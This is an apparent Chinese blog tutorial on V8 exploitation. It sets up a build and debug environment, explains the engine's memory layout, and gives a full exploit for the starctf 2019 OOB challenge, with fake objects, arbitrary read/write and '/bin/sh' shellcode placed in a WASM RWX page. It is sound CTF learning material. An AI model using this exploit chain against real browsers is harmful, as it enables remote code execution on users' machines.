Chrome v8漏洞分析

发布时间 2023-09-04 20:12:16作者: Tac1turn

Chrome v8

前几天在7resp4ss师傅的推荐下,准备学习一波v8漏洞。

在这里记录一下漏洞分析过程

什么是v8

首先我们需要知道v8是什么

----以下内容来自维基百科

V8是一个由Google开发的开源JavaScript引擎,用于Google Chrome及Chromium中[3],项目以V8发动机其命名。此项目由Lars Bak主导开发。

V8在执行之前将JavaScript编译成了机器代码,而非字节码或是解释执行它,以此提升性能。更进一步,使用了如内联缓存(inline caching)等方法来提高性能。有了这些功能,JavaScript程序与V8引擎的速度媲美二进制编译。[6]

传统的Javascript是动态语言,又可称之为Prototype-based Language,JavaScript继承方法是使用prototype,透过指定prototype属性,便可以指定要继承的目标。属性可以在运行时添加到或从对象中删除,引擎会为执行中的物件建立一个属性字典,新的属性都要透过字典查找属性在内存中的位置。V8为object新增属性的时候,就以上次的hidden class为父类别,创建新属性的hidden class的子类别,如此一来属性访问不再需要动态字典查找了。

为了缩短由垃圾回收造成的停顿,V8使用stop-the-world, generational, accurate的垃圾回收器[7]。在执行回收之时会暂时中断程序的执行,而且只处理物件堆栈。还会收集内存内所有物件的指针,可以避免内存溢出的情况。V8汇编器是基于Strongtalk汇编器。

我们可以看到在对v8引擎的解释中,特意强调了v8收集了内存中所有的指针避免了内存溢出。那么我们该如何去攻击提权呢,抱着这样的疑问,我们开始对漏洞进行逐步分析

环境搭建

首先需要准备一个Ubuntu18.04版本的虚拟机,由于v8的网址在外网,所以接着就是配置VMware的代理,参考这个文章

也可以用命令行git config --global --edit对git代理进行配置

dependence

sudo apt install bison cdbs curl flex g++ git python vim pkg-config

depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

ninja

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

v8

fetch v8
./v8/build/install-build-deps.sh --no-chromeos-fonts

编译任意版本的脚本

VER=$1
if [ -z $2 ];then
        NAME=$VER
else
        NAME=$2
fi
cd v8
git reset --hard $VER
gclient sync -D
gn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_$NAME.release d8

执行该脚本加上版本参数即可编译v8

最后编译成功输出的位置在./out/x64_9.6.180.6.debug/d8

gdb

  • pwndbg

刚开始用Ubuntu18.04直接安装pwndbg,但是在过程中发生报错。

之后查了以下github发现最新版本的pwndbg已经不支持Ubuntu18.04 python3.6.9了

image-20230831182724020

于是乎我们直接下载最后一版适用Ubuntu18.04的版本(必须要用git clone,否则会报错)

cd ~ && git clone https://github.com/pwndbg/pwndbg.git --branch 2023.07.17 --depth 1

接下来使用setup.sh进行安装(如果是刚安装的Ubuntu,建议先更新以下pip3或者安装pwntools,让用户目录下有.local/lib/python3.6/site-packages/pwnlib目录)

  • pwngdb

cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git 
cp ~/Pwngdb/.gdbinit ~/
#将.gdbinit文件中加入一行source /home/hacker/pwndbg/gdbinit.py 

#将v8相关的gdb配置文件加入.gdbinit中
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8

docker

sudo apt-get update
#sudo apt-get remove docker docker-engine docker.io
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker

众所周知,研究v8漏洞的朋友,做的最痛苦的事情应该就是回滚不同版本的v8引擎了。

为了解决这一难题,docker便应运而生,docker号称一次编译,处处运行,那可不是吹的。

-----此方法来自大神Hcamael

因此我们可以使用docker来存储我们每次编译的v8版本状态

首先克隆一个docker-v8项目

git clone https://github.com/andreburgaud/docker-v8.git

修改Makefile

$ cat Makefile 
TAG:=$(tag)
IMAGE:=hcamael/v8

default: help

help:
    @echo 'V8/D8 ${TAG} Docker image build file'
    @echo
    @echo 'Usage:'
    @echo '    make clean           Delete dangling images and d8 images'
    @echo '    make build           Build the d8 image using local Dockerfile'
    @echo '    make push            Push an existing image to Docker Hub'
    @echo '    make deploy          Clean, build and push image to Docker Hub'
    @echo '    make github          Tag the project in GitHub'
    @echo

build:
    docker build --build-arg V8_VERSION=${TAG} -t ${IMAGE}:${TAG} .

clean:
    # Remove containers with exited status:
    docker rm `docker ps -a -f status=exited -q` || true
    docker rmi ${IMAGE}:latest || true
    docker rmi ${IMAGE}:${TAG} || true
    # Delete dangling images
    docker rmi `docker images -f dangling=true -q` || true

push:
    docker push docker.io/${IMAGE}:${TAG}
    docker tag ${IMAGE}:${TAG} docker.io/${IMAGE}:latest
    docker push docker.io/${IMAGE}:latest

deploy: clean build push

github:
    git push
    git tag -a ${TAG} -m 'Version ${TAG}'
    git push origin --tags


.PHONY: help build clean push deploy github

修改Dockerfile,这里记得将路径根据本地环境修改一下

$ cat Dockerfile
FROM debian:stable-slim

RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -yqq && \
    DEBIAN_FRONTEND=noninteractive apt-get install curl rlwrap vim -yqq gdb && \
    apt-get clean
ARG V8_VERSION=latest
ENV V8_VERSION=$V8_VERSION

LABEL v8.version=$V8_VERSION \
      maintainer="test@admin.com"
WORKDIR /v8

COPY /out/x64_$V8_VERSION.release/d8 ./

COPY vimrc /root/.vimrc

COPY entrypoint.sh /

RUN chmod +x /entrypoint.sh && \
    mkdir /examples && \
    ln -s /v8/d8 /usr/local/bin/d8

ENTRYPOINT ["/entrypoint.sh"]

将之前build.sh生成的编译好的./out/x64_9.6.180.6.debug/d8,out文件夹移动到docker-v8目录下

执行Makefile中的docker命令

sudo docker build --build-arg V8_VERSION=9.6.180.6 -t v8:9.6.180.6 .

删除镜像

docker rmi --force <镜像ID>#--force用于删除不掉的情况

启动镜像

sudo docker run -it v8:9.6.180.6#-it以交互的形式启动,不加这个参数会闪退

停止容器

docker stop <容器ID>
#如果出现问题
docker kill <容器ID>

JavaScript

如果想研究v8内核,了解JavaScript代码底层实现是必不可少的一步。

我们通过gdb调试来逐步分析js类型对象的储存布局

首先在d8目录下编写一个简单的test.js

var a = [1,2,3];
%DebugPrint(a);
%SystemBreak();

用gdb调试得到a的地址

image-20230903132215941

使用job查看以下该地址的内容

image-20230903132257682

可以直观的看到a的内存布局,其中数组a的内容被存入elements中

  • 这时候细心的朋友应该就问了:64位程序应该是8位对齐的,为啥这里面的地址都是以1或9结尾呢

这是由于JavaScript Core(WebKit JS引擎)使用了NaN-boxing将类型信息和变量内容存储在64位浮点内。v8使用标记指针来做到这点。同时由于64位对齐方式,导致二进制下指针的后两位将始终为0不会被使用。于是乎,v8便使用最后一位来表示某些类型信息。

例如:

对于指针,v8始终将最后一位设为1,如果该位为1,则表示我们正在处理指针。这也代表着如果我们想用指针必须要-1n。同时也解释了为什么我们在gdb调试的指针地址都是以1,9结尾

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1

对于小整数(SMI),最后一位将设置为0,这意味着32位系统上的小整数为31位长。

在64位系统上,它的工作略有不同 – SMI为32位,低32位始终设为0:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 0
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 00000000000000000000000000000000

这也解释了为什么我们在gdb调试的时候job 指针地址-1,会被当做SMI

image-20230903134557544

从上面的实验我们也能得到js中对象的内存布局

ArrayObject ---->-------------------------+
| map |
+------------------------+
| property |
+------------------------+
| elements 指针 |
| +
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

其中第一个指针map(Hidden Class)指向的是对象的Map值,Map值用来描述对象的整个布局,这个指针很重要,我们之后进行漏洞利用都是依靠修改对象的map值来做到

第二个指针property指向该对象的属性。

第三个指针elements是指向对象元素的指针。即存储对象内容的指针。从某种角度上来说,对象元素的内容也是对象属性。那么就要问了,property,elements都是指向对象属性的,这两个有什么区别呢。

经查阅资料

  • 属性分为命名属性和可索引属性,命名属性存放在 Properties 中,可索引属性存放在 Elements 中。
  • 命名属性有三种不同的存储方式:对象内属性、快属性和慢属性,前两者通过线性查找进行访问,慢属性通过哈希存储的方式进行访问。
  • 增加或删除可索引属性,不会引起隐藏类的变化,稀疏的可索引属性会退化为哈希存储。

目前我们只需要关注map和elements即可

通用模板

做过pwner的童鞋应该知道,我们如果做normal栈溢出堆溢出,都是直接下载二进制文件,然后反编译看源码,找到源码中的漏洞,然后通过pwntools进行攻击,而我们接下来要研究的v8题目,和Linux内核漏洞相似题目都是将v8内核源代码进行修改,然后直接编写JavaScript代码产生漏洞提权。

简单的v8漏洞利用会有一个通用的模板思想,接下来我会逐个分析每个模块的内容。

addressOf函数

我们前面知道了对象的整个布局,既然每个对象的内存结构都一致,那我们使用a[0]或b[0]进行取值的时候,js是怎么判断结构类型的呢。经查阅,js是通过查看map的值来确定

那假如说,我们可以通过某种方式修改对象的map值,那我们是不是就能将对象数组转为浮点型数组

a[0] = c;(c是一个对象),正常来说取a[0]的值为对象c,但我们将其转为浮点型数组,再取a[0]得到的值便是对象c的地址。

由此,我们就可以做到任意对象地址读的效果。也就是addressOf的实现思想

fakeObj函数

既然我们能够将对象转为浮点型,那我们也可以将浮点型转为对象数组。

假设我们的到了对象e的地址addr,那么我该如何得到这个对象呢?首先我们将addr+1的值存入a[0],之后修改map值,再取a[0]得到的便是对象e。

至于说为啥要将addr+1,相信认真看了JavaScript章节内容的朋友都明白

read64函数

我们通过将浮点型转为对象数组不光可以得到已知的对象,还可以伪造我们自己编写的对象。

fake_array

var fake_array = [
  double_array_map,
  itof(0x4141414141414141n)
];

我们首先可以使用addressOf(fake_array)得到fake_array的地址,之后我们便可以根据调试得到fake_array真实存储元素的地址偏移,得到我们伪造的Object地址。之后通过fakeObj函数便可以得到我们伪造的对象。

这里可能有同学不太明白,为什么我们明明有了一个addressOf可以获取地址,还需要这个read函数。

这是因为我们之前addressOf得到的是指针的值。而read得到的是指针指向的指针的值,之后我们分析一道例题,仔细观察以下例题中read函数的用法即可。

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

其中地址大致如下

+---> elements +---> +---------------+
|                    |               |
|                    +---------------+
|                    |               |
|                    +---------------+   fakeObject  +--------------+
|                    |fake_array[0]  |  +----------> |   map        |
|                    +---------------+               +--------------+         想要 读 或 改 的
|                    |fake_array[1]  |               |   prototype  |         内 存
|                    +---------------+               +--------------+          +-------------+
|                    |fake_array[2]  |               |   elements   | +------> |             |
|                    +---------------+               +--------------+          |             |
|                    |               |               |              |          |             |
|                    |               |               |              |          |             |
|    fake_array+-->  +---------------+               |              |          |             |
|                    |   map         |               |              |          |             |
|                    +---------------+               |              |          |             |
|                    |   prototype   |               +--------------+          |             |
|                    +---------------+                                         |             |
+--------------------+   elements    |                                         |             |
                     +---------------+                                         |             |
                     |   length      |                                         |             |
                     +---------------+                                         |             |
                     |   properties  |                                         |             |
                     +---------------+                                         +-------------+

这里用一个小实例来看一下为啥需要addr-某个值

这个是我们构建的fake_array的内容

image-20230903221517966

这个是我们想要泄露内容的double_array地址

image-20230903221624553

write64

既然我们能够通过fake_object进行读取任意地址,那么我们也可以通过该数组进行任意写操作

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

WASM

既然我们能够任意地址读写了,那我们该想想怎么利用了,我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。

我们找到JavaScript的一种技术WASM(webassembly),只有低版本有WASM高版本已经不支持了,可以让js直接执行高级语言生成的机器码

这个时候我们用wasm直接执行恶意机器码就可以攻击成功了~吗?当然没这么简单,WASM不允许通过浏览器直接调用系统函数。wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。

但这不妨碍我们通过上面学习的利用方式将WASM可执行代码段的内容篡改为shellcode。

我们用gdb调试尝试去找一下存放WASM代码的地址

%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

得到f和wasmInstance的地址

image-20230903171333028

我们来查看一下f的结构

image-20230903171456409

可以发现结构中含有WASM instance的地址即代码中wasmInstance的地址

我们看一下shared_info的内容

image-20230903171803348

再看一下data

image-20230903171835604

可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存

image-20230903172218242

再查看一下instance

image-20230903173319772

可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。

但成功的道路往往比较曲折,我们试验一下会发现当我们使用write写入shellcode的时候,会因为一些问题报错

例如:

  1. ​ 因为JavaScript的语法机制问题,没法直接将shellcode写入地址中
  2. ​ 我们内存中的地址不是连续的,可执行页-0x10是无效地址,没法将shellcode写到可执行页的起始地址

因此我们要另辟蹊径

copy_shellcode_to_rwx函数

在JavaScript中有一个ArrayBuffer类可以作为二进制数据的容器,同时有一个接口DataView可以从ArrayBuffer对象中读写多种数据类型。因此,我们可以通过这个类和接口来实现写shellcode操作

我们来尝试一下

var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

先看一下databuf的结构

image-20230904190857027

再看一下其中backing_store的内存结构

image-20230904190937257

2.0的十六进制为0x4000000000000000,所以我们可以发现我们使用DataView存储2.0的位置在ArrayBuffer对象的backing_store属性中,那我们接下来看一下backing_store在ArrayBuffer对象内存结构中的偏移,这个根据环境不同而不同

image-20230904191225339

可以发现backing_store在databuf+0x20的位置,接下来就可以使用write函数将其改为可执行页首地址,并写入shellcode了

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

模板EXP

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

接下来我便通过例题实战带大家明白其模板EXP的用法

starctf 2019 OOB

环境搭建

$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8

(原作者这里说在build.sh中,在git reset命令后加一句git apply ../starctf2019/pwn-OOB/oob.diff,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。但是我用脚本编译会报错,导致我浪费了很多时间,不知道是不是因为只能用x64_startctf.release不能用x64_startctf2019.release

在ctf中浏览器内核相关的题目,会给一个.diff文件,告诉你修改了哪些内容。

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

这题给了一个oob函数,不知道是干嘛的,先测试一下

$ cat test.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
  return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();

image-20230903203923041

image-20230903203935277

可以发现a.oob()的值为a的map值,继续调试

之后job a的地址发生了段错误,我们重新调试一下,这次使用x/16gx来调试

这是执行a.oob(2.1)之前

image-20230903204640004

这是执行之后

image-20230903204651199

我们发现其中map的值被改为了2.1的浮点数

既然有了漏洞点,那我们接下来就可以套模板写各种函数和EXP了,开写!

addressOf&&fakeObj

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

read64&&write64

//注意这里因为是旧版的v8,没有对地址进行压缩,所以map域和length域都占了64bit,因此这里需要进行些许修改
var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

WASM

我们调试一下程序去寻找一下instance和可执行页的偏移,具体如何找偏移在模板那节已经介绍过了,接下来就简述一下

我们找到instance的内存区域

image-20230904172501190

再输入vmmap

image-20230904172515624

可以发现可执行段在instance+0x88的位置,接下来便可以写完整的EXP了

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

踩坑记录

1.在执行./configure.py --bootstrap命令时发生报错

image-20230831123230981

原因:没有安装C++编译器,执行以下命令便可解决

sudo apt-get install build-essential

2.执行pip太过缓慢导致安装不上,执行这条命令即可换源

pip3 install --upgrade pip
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple mlxtend

3.不知道为啥执行大神Hcamael的脚本编译oobninja会报错,可能是因为使用ninja进行编译时用带有数字的名字

总结

历时一周终于把v8入门文章给看完了,也学了很多,例如docker的使用,gdb对版本的限制...在第一次安装v8环境的时候,一定要保存快照,每成功一个阶段就保存一次,我在搭建环境的时候反反复复恢复快照,节约了不少时间(虽然后面又重新搞了一个Ubuntu,)。总之,虽然分析v8的过程是痛苦且煎熬的,但长路漫漫,相信自己会逐渐变强的!后面会持续更新v8的CVE分析

这边贴个大佬的博客激励下自己

https://eternalsakura13.com/

参考:

环境搭建

V8环境搭建,100%成功版

从 0 开始学 V8 漏洞利用之环境搭建

docker

docker使用手册

如何在Ubuntu 18.04上安装Docker_ubuntu18.04安装docker_ylfmsn的博客-CSDN博客

docker使用Dockerfile构建镜像启动项目。_镜像从本地导入,还需要执行dockerfile吗_宋忠瑾的博客-CSDN博客

JavaScript

V8 Bug Hunting 之 JS 类型对象的内存布局总结-安全客 - 安全资讯平台 (anquanke.com)

奇技淫巧学 V8 之二,对象在 V8 内的表达 - 知乎 (zhihu.com)

V8 小整数(smi)和指针 - 知乎 (zhihu.com)

V8 是怎么跑起来的 —— V8 中的对象表示 - 掘金 (juejin.cn)

ArrayBuffer,二进制数组

通用模板

从 0 开始学 V8 漏洞利用之 V8 通用利用链

startctf-oob

从一道CTF题零基础学V8漏洞利用